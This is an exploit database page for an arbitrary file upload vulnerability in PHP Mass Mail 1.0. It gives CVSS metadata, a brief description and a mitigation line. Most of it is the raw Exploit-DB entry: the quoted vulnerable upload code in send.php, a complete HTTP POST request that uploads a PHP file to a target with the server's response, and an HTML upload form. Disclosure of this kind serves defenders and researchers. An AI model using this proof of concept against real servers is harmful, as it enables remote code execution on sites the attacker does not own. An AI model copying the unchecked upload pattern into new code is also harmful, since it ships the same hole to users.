PHP Mass Mail 1.0 - Arbitrary File Upload

vendor:

PHPMassMail

by:

Ihsan Sencan

7.5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: PHPMassMail

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:phpmassmail:phpmassmail:1.0.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

PHP Mass Mail 1.0 – Arbitrary File Upload

PHP Mass Mail 1.0 is vulnerable to an arbitrary file upload vulnerability. An attacker can upload a malicious file to the server by sending a specially crafted HTTP POST request to the send.php page. This can be exploited to execute arbitrary code on the server.

Mitigation:

Restrict access to the upload directory and ensure that only trusted users can upload files.

Source

Exploit-DB raw data:

# Exploit Title: PHP Mass Mail 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://phpmassmail.sourceforge.io/
# Software Link: https://netix.dl.sourceforge.net/project/phpmassmail/phpmassmail/1.0.0/phpmassmail.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/send.php
# 
# http://localhost/[PATH]/upload/[FILE]

# ....
#07 require("class.phpmailer.php");
#08 
#09 $uploaddir = 'upload';
#10 $key = 0;
#11 $tmp_name = $_FILES["userfile"]["tmp_name"][$key];
#12         $name = $_FILES["userfile"]["name"][$key];
#13         $sendfile = "$uploaddir/$name";
#14 move_uploaded_file($tmp_name, $sendfile);
# ....

POST /[PATH]/send.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 716
Cookie: PHPSESSID=dhq0fbvco8d0sc0lem3l2kktk0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------265001916915724: undefined
Content-Disposition: form-data; name="userfile[]"; filename="phpinfo.php"
<?php
phpinfo();
?>
-----------------------------265001916915724--
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 19:27:39 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 719
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/send.php
# 
# http://localhost/[PATH]/upload/[FILE]
# 
<html>
<body>
<form method="post" action="send.php" enctype="multipart/form-data">
<input name="userfile[]" type="file">
<input value="Send mail" type="submit">
</form>
</body>
</html>